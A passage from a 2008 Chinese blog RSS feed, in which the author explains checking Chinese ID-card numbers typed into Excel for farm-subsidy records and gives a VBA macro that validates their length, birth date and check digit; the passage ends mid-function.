﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-阿牛·乐园</title><link>http://www.cnblogs.com/evlon/</link><description>每天进步一点点</description><language>zh-cn</language><lastBuildDate>Wed, 09 Jul 2008 04:50:45 GMT</lastBuildDate><pubDate>Wed, 09 Jul 2008 04:50:45 GMT</pubDate><ttl>60</ttl><item><title>在Excel中检验身份证号</title><link>http://www.cnblogs.com/evlon/archive/2008/05/13/1195113.html</link><dc:creator>阿牛</dc:creator><author>阿牛</author><pubDate>Tue, 13 May 2008 05:51:00 GMT</pubDate><guid>http://www.cnblogs.com/evlon/archive/2008/05/13/1195113.html</guid><wfw:comment>http://www.cnblogs.com/evlon/comments/1195113.html</wfw:comment><comments>http://www.cnblogs.com/evlon/archive/2008/05/13/1195113.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/evlon/comments/commentRss/1195113.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/evlon/services/trackbacks/1195113.html</trackback:ping><description><![CDATA[<div>　　近几日，我的工作是录入更正的农业直补农户资料，涉及到了各包村干部上报的各种样式的报表，经会计清点后，由我来统一按上报的格式来摘抄到上报表中。据会计说，我的字写得还过得去，比小代强。</div>
<div>　　我建议用计算机来处理，打字比写字可快多了，还清楚。</div>
<div>　　下面的工作，就是录入一大堆的编号和身份证号以及姓名。姓名不是难事，在录入几十个后，我越发的想去上网，把读霸安装上，我打它来读，这样就不用抬头看屏幕了。想到乡里网吧的半个小时打开一封邮件的速度呀，我还是放弃了。</div>
<div>　　身份证可是不能再错误了，幸好我的电子书里有一段关于身份证格式的说明和程序，在稍加修改后，它已经可以用来批量的判断身份证是不是有格式（包括长度，出生年月，验证位）的错误。</div>
<div>　　本想通过数据有效性来作，只是公式里不能调用VBA的函数，真是郁闷。</div>
<div>&nbsp;</div>
<div>　　下次有机会，改写一个公式来判断的。</div>
<div>&nbsp;</div>
<div>&nbsp;
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #0000ff">Sub</span><span style="color: #000000">&nbsp;检验选定区域身份证()<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">'<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'</span><span style="color: #008000">&nbsp;检验身份证&nbsp;Macro</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'</span><span style="color: #008000">&nbsp;用于检测身份证号码是否正确</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'</span><span style="color: #008000">&nbsp;快捷键:&nbsp;Ctrl+q</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;arange&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;range<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;acell&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;range<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;ret&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Set</span><span style="color: #000000">&nbsp;arange&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;Selection<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">For</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Each</span><span style="color: #000000">&nbsp;acell&nbsp;In&nbsp;arange.Cells<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">MsgBox&nbsp;ActiveCell.Text</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;IDCheck(</span><span style="color: #0000ff">UCase</span><span style="color: #000000">(acell.Text))<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;ret&nbsp;</span><span style="color: #000000">&lt;&gt;</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">0</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;acell.Select<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">MsgBox</span><span style="color: #000000">&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">请检查当前选定单元格的身份证是否正确</span><span style="color: #800000">"</span><span style="color: #000000">,&nbsp;,&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">提示</span><span style="color: #800000">"</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Sub</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Next</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">MsgBox</span><span style="color: #000000">&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">全部正确</span><span style="color: #800000">"</span><span style="color: #000000">,&nbsp;,&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">提示</span><span style="color: #800000">"</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">End&nbsp;Sub</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Function</span><span style="color: #000000">&nbsp;CurrentIdCheck()&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;ret&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #008000">'</span><span style="color: #008000">MsgBox&nbsp;ActiveCell.Text</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'</span><span style="color: #008000">ret&nbsp;=&nbsp;IDCheck(ActiveCell.Text)</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'</span><span style="color: #008000">MsgBox&nbsp;ret</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />'</span><span style="color: #008000">CurrentIdCheck&nbsp;=&nbsp;ret</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">CurrentIdCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">0</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">End&nbsp;Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #0000ff">Function</span><span style="color: #000000">&nbsp;IDCheck(ByVal&nbsp;e&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">String</span><span style="color: #000000">)&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;arrVerifyCode<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;Wi<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;Checker<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;BirthDay<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">0</span><span style="color: #000000">&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">验证通过时返回</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;arrVerifyCode&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Split</span><span style="color: #000000">(</span><span style="color: #800000">"</span><span style="color: #800000">1,0,X,9,8,7,6,5,4,3,2</span><span style="color: #800000">"</span><span style="color: #000000">,&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">,</span><span style="color: #800000">"</span><span style="color: #000000">)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;Wi&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Split</span><span style="color: #000000">(</span><span style="color: #800000">"</span><span style="color: #800000">7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2</span><span style="color: #800000">"</span><span style="color: #000000">,&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">,</span><span style="color: #800000">"</span><span style="color: #000000">)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;Checker&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Split</span><span style="color: #000000">(</span><span style="color: #800000">"</span><span style="color: #800000">1,9,8,7,6,5,4,3,2,1,1</span><span style="color: #800000">"</span><span style="color: #000000">,&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">,</span><span style="color: #800000">"</span><span style="color: #000000">)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">15</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Or</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">16</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Or</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">17</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Or</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">18</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">IDCheck=&nbsp;"身份证号必须是15位数或18位数！"</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">1</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;Ai&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">String</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">18</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;Ai&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Mid</span><span style="color: #000000">(e,&nbsp;</span><span style="color: #800080">1</span><span style="color: #000000">,&nbsp;</span><span style="color: #800080">17</span><span style="color: #000000">)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">ElseIf</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Len</span><span style="color: #000000">(e)&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">15</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;Ai&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CStr</span><span style="color: #000000">(e)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;Ai&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Left</span><span style="color: #000000">(Ai,&nbsp;</span><span style="color: #800080">6</span><span style="color: #000000">)&nbsp;</span><span style="color: #000000">&amp;</span><span style="color: #000000">&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">19</span><span style="color: #800000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">&amp;</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Mid</span><span style="color: #000000">(Ai,&nbsp;</span><span style="color: #800080">7</span><span style="color: #000000">,&nbsp;</span><span style="color: #800080">9</span><span style="color: #000000">)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Not</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">IsNumeric</span><span style="color: #000000">(Ai)&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">IDCheck=&nbsp;"身份证除最后一位外，必须为数字！"</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">2</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;strYear&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;strMonth&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;strDay&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;strYear&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CInt</span><span style="color: #000000">(</span><span style="color: #0000ff">Mid</span><span style="color: #000000">(Ai,&nbsp;</span><span style="color: #800080">7</span><span style="color: #000000">,&nbsp;</span><span style="color: #800080">4</span><span style="color: #000000">))<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;strMonth&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CInt</span><span style="color: #000000">(</span><span style="color: #0000ff">Mid</span><span style="color: #000000">(Ai,&nbsp;</span><span style="color: #800080">11</span><span style="color: #000000">,&nbsp;</span><span style="color: #800080">2</span><span style="color: #000000">))<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;strDay&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CInt</span><span style="color: #000000">(</span><span style="color: #0000ff">Mid</span><span style="color: #000000">(Ai,&nbsp;</span><span style="color: #800080">13</span><span style="color: #000000">,&nbsp;</span><span style="color: #800080">2</span><span style="color: #000000">))<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;BirthDay&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Trim</span><span style="color: #000000">(strYear)&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">-</span><span style="color: #800000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Trim</span><span style="color: #000000">(strMonth)&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #800000">"</span><span style="color: #800000">-</span><span style="color: #800000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Trim</span><span style="color: #000000">(strDay)<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">IsDate</span><span style="color: #000000">(BirthDay)&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">DateDiff</span><span style="color: #000000">(</span><span style="color: #800000">"</span><span style="color: #800000">yyyy</span><span style="color: #800000">"</span><span style="color: #000000">,&nbsp;</span><span style="color: #0000ff">Now</span><span style="color: #000000">(),&nbsp;</span><span style="color: #0000ff">CDate</span><span style="color: #000000">(BirthDay))&nbsp;</span><span style="color: #000000">&lt;</span><span style="color: #000000">&nbsp;</span><span style="color: #000000">-</span><span style="color: #800080">140</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Or</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CDate</span><span style="color: #000000">(BirthDay)&nbsp;</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Now</span><span style="color: #000000">()&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">IDCheck=&nbsp;"身份证输入错误（日期输入错误）！"</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">3</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000">&nbsp;strMonth&nbsp;</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">12</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Or</span><span style="color: #000000">&nbsp;strDay&nbsp;</span><span style="color: #000000">&gt;</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">31</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Then</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">IDCheck=&nbsp;"身份证输入错误（日期输入错误）！"</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">3</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Else</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #008000">'</span><span style="color: #008000">IDCheck=&nbsp;"身份证输入错误（日期输入错误）！"</span><span style="color: #008000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&nbsp;IDCheck&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">3</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Exit</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Function</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">End</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">If</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;TotalmulAiWi&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">For</span><span style="color: #000000">&nbsp;i&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">0</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">To</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">16</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;TotalmulAiWi&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;TotalmulAiWi&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CInt</span><span style="color: #000000">(</span><span style="color: #0000ff">Mid</span><span style="color: #000000">(Ai,&nbsp;i&nbsp;</span><span style="color: #000000">+</span><span style="color: #000000">&nbsp;</span><span style="color: #800080">1</span><span style="color: #000000">,&nbsp;</span><span style="color: #800080">1</span><span style="color: #000000">))&nbsp;</span><span style="color: #000000">*</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">CInt</span><span style="color: #000000">(Wi(i))<br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Next</span><span style="color: #000000"><br />
<img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;</span><span style="color: #0000ff">Dim</span><span style="color: #000000">&nbsp;modValue&nbsp;</span><span style="color: #0000ff">As</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">Integer</span><span style="color: #000000"><br />
